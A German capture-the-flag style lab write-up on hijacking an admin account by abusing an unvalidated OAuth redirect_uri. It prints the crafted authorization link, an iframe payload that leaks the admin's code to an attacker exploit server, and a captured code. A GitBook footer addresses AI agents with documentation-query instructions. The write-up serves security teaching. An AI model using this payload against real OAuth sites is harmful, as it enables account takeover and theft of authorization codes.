> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# OAuth-Kontoübernahme via redirect\_uri

### OAuth-Kontoübernahme über Redirect/\_uri

**Lernziel**

Dieses Labor zeigt, wie eine fehlerhafte Konfiguration des `redirect_uri` Parameters in einem OAuth-Ablauf es einem Angreifer ermöglicht, zu stehlen **Autorisierungscodes** die mit dem Konto eines anderen Nutzers verknüpft sind.

**Aber am Ende :**

* Fange einen einem Benutzer gehörenden OAuth-Autorisierungscode ab **admin**
* Verwende diesen Code, um auf sein Konto zuzugreifen
* Benutzer löschen **carlos**

**Kontext und Bedingungen**

* Die Website erlaubt die Authentifizierung über einen OAuth-Anbieter (soziales Netzwerk).
* Benutzer **admin**:
* Öffnet jeden Link vom Exploit-Server.
* Hat bereits eine aktive Sitzung mit dem OAuth-Anbieter.
* Bereitgestellte IDs:
* Social-Media-Konto des Angreifers: `wiener:peter`

<figure><img src="/files/fbf2eda4b669513c30b037650649cf39fbed6f55" alt=""><figcaption></figcaption></figure>

**Analyse des OAuth-Ablaufs**

Wenn sich ein Benutzer über OAuth verbindet, sendet die Anwendung eine Anfrage ähnlich der folgenden:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Der entscheidende Punkt ist, dass **der OAuth-Anbieter keine strikte Validierung von `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validierung der Schwachstelle**

Ändern des `redirect_uri` Parameters auf eine beliebige Domain, zum Beispiel:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/9a76eb156763154b84ffd6d305bdb2207f4df6e1" alt=""><figcaption></figcaption></figure>

folgendes Verhalten beobachtet wird:

* Der OAuth-Anbieter leitet korrekt zu diesem Feld weiter
* **OAuth** Der Autorisierungscode ist in der Weiterleitungs-URL enthalten

Dies bestätigt, dass `redirect_uri` ist ausnutzbar.

**Ausnutzung**

Das Ziel ist nun, den Admin dazu zu bringen, eine OAuth-Authentifizierung zu starten, deren Weiterleitung auf \*\*den Exploit-Server\*\* des Angreifers zeigt.

Verwendeter bösartiger OAuth-Link:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Dieser Link ist mithilfe eines iframes in einer Seite des Exploit-Servers eingebettet:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Wiederherstellung des Autorisierungscodes**

Wenn der Admin die Seite öffnet:

* Der OAuth-Ablauf wird automatisch ausgeführt
* Der OAuth-Anbieter leitet zum Exploit-Server weiter
* \*\*Exploit-Server\*\*-Protokolle enthalten mehrere OAuth-Codes

Das **zuletzt empfangener Code** wird beispielsweise verwendet:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/22bdfda495454a6bf16ee988d67ac035be70ad50" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/12e233023b2f590e762b7f57f5416961d0a7f0d2" alt=""><figcaption></figcaption></figure>

**Ergebnis**

* Der Autorisierungscode ist gültig
* Zugriff auf \*\*Admin-Konto\*\* wird erlangt

<figure><img src="/files/94dae24f00623a5737ffcd673fd8c3ec51abafeb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
